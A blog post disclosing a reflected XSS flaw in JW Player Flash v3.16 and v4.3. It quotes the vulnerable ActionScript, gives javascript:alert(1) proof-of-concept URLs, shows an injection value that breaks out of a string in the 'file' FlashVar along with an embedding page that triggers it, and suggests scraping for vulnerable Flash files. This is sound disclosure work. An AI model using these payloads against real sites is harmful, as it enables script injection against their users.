Fun with Flash : XSS in JW Player v3 and v4

Reading time ~3 minutes

Summary

JW Player v3.16 and v4.3 have an XSS vulnerability. It’s not serious, though, since it requires user interaction to cause the code to execute.

v3.16 POC:http://localhost/mediaplayer.swf?aboutlnk=javascript:alert(1)

v4.3 POC:http://localhost/mediaplayer.swf?aboutlink=javascript:alert(1)

Intro

In Frans Rosen’s talk on bug bounties, he recommends searching for Flash files, since a lot of them are vulnerable. This piqued my interest, so I did some research.

The Tools

What’s wrong with Flash?

There are a lot of unsafe functions in Actionscript:

loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load 
LoadVars.send 
XML.load ( 'url' )
LoadVars.load ( 'url' ) 
Sound.loadSound( 'url' , isStreaming ); 
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
HtmlText
navigateToURL(request)

The other issue is that you can add parameters (Flashvars) to the URL. Combine these two issues and you can create reflected XSS attacks like this: https://mysite.com/player.swf?callback=javascript:alert(1).

Reflected XSS in JW Player

I came across a copy of JW Player 3.16 and found an XSS vulnerability. Version 5 also had a few XSS vulns, which you can read about here and here. They weren’t interested in doing hotfixes for old versions, but they are fixed in the current JWPlayer 7.8.

v3.16

Anyways, for v3.16, you can find the source code here: https://github.com/psych0d0g/kplaylist-ng/tree/master/mediaplayer-3-16

In ConfigManager.as, we find these lines:

    public function goTo(obj,itm) {
        getURL(obj.ref.config['aboutlnk'],'_blank');
    };

The aboutlnk is a FlashVar. getURL is an unsafe function that will run Javascript. To get this to work you need to paste http://localhost/mediaplayer.swf?aboutlnk=javascript:alert(1) , right click to get the context menu, and then click the “About” option. This works in Firefox v50.

v4.3

I found a copy of version v4.3 in the Internet Archive. The vulnerability is still there.

In Rightclick.as:

	/** jump to the about page. **/
	private function aboutSetter(evt:ContextMenuEvent):void {
		navigateToURL(new URLRequest(view.config['aboutlink']),'_blank');
	};

In v4.3, they rewrote it in ActionScript 3. So they use navigateToURL instead of getURL, but it’s still not a safe function to pass FlashVars to. The FlashVar variable name also changed from aboutlnk to actionlink.

This URL works in Firefox v50:http://localhost/mediaplayer.swf?aboutlink=javascript:alert(1)

v5.1

Out of curiousity, I checked v5.1 and they finally fixed it by hardcoding the value.

In Rightclick.as:

/** jump to the about page. **/
		protected function aboutHandler(evt:ContextMenuEvent):void {
			navigateToURL(new URLRequest('http://www.longtailvideo.com/players/jw-flv-player'), '_blank');
		}

I contacted them about this, and asked if they were going to issue a patch or send out a bulletin. They replied they didn’t support old versions.

Almost, but not quite

In this code, from CallbackView.as, we see another example of how we can use FlashVars to make the Flash file run Javascript:

/** sending the current file,title,id,state,timestamp to callback **/
    private function sendVars(stt:String,dur:Number,cpl:Boolean) {
        clearInterval(playSentInt);
        if(config['callback'] == "urchin" || config['callback'] == "analytics") {
            var fil = feeder.feed[currentItem]["file"];
            var fcn = "javascript:pageTracker._trackPageview";
            if(config['callback'] == "urchin") {
                fcn = "javascript:urchinTracker";
            }
            if(fil.indexOf('http') != undefined) {
                fil = fil.substring(fil.indexOf('/',7)+1);
            }
            if(stt == "start") {
                getURL(fcn+"('/start_stream/"+fil+"');");
            } else if (stt == "stop" && cpl == true) {
                getURL(fcn+"('/end_stream/"+fil+"');");
            }
        } else {
            varsObject.file = feeder.feed[currentItem]["file"];
            varsObject.title = feeder.feed[currentItem]["title"];
            varsObject.id = feeder.feed[currentItem]["id"];
            varsObject.state = stt;
            varsObject.duration = dur;
            varsObject.sendAndLoad(config["callback"],varsObject,"POST");
        }
    };

Using the callback and file FlashVars, we can get the line

getURL(fcn+"('/end_stream/"+fil+"');");

to execute.

If we use ?file=video.flv&callback=urchin, it would fire off

javascript:urchinTracker(‘end_stream/video.flv’);

but that would be pretty boring.

By changing the file parameter, however, we can get it to execute custom Javascript.

Example:

file=video');alert(1);void('.flv. 

This would cause the browser to execute

javascript:urchinTracker(‘end_stream/video’);alert(1):void(‘.flv’);

Unfortunately, this can’t be used for a reflected XSS attack, since the function urchinTracker isn’t there if you just pull up the swf file url. Since the browser would try to execute the non-existent urchinTracker()_ before alert(), you’d get a runtime error. The only way to exploit this would be if a page embedded the the file and also let you specify the flashvars in the url.

As an example, try putting the following in a webpage. It will automatically play, stop, and pop an alert box. It works in Firefox, Chrome, and Safari.

function urchinTracker(){
}
 <object style="height:360px;width:640px;" data="mediaplayer.swf" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="file=video');alert(1);void('.flv&enablejs=true&callback=urchin&autostart=true" id="jstest" ></object> 

Automate it

As with many things in security, finding these files and exploiting them can be tedious if you have to do it manually. A better approach would be to write a script to scrape Google for the Flash files, download them, decompile them, and grep the unsafe function names.

The OSCP And Me

Why the OSCP?I’ve been doing software development, but I felt like making a switch to security. Since I didn’t have any experience, I th...… Continue reading

RestKit and MagicalRecord

Published on March 15, 2015

Dokku and Docker

Published on January 02, 2014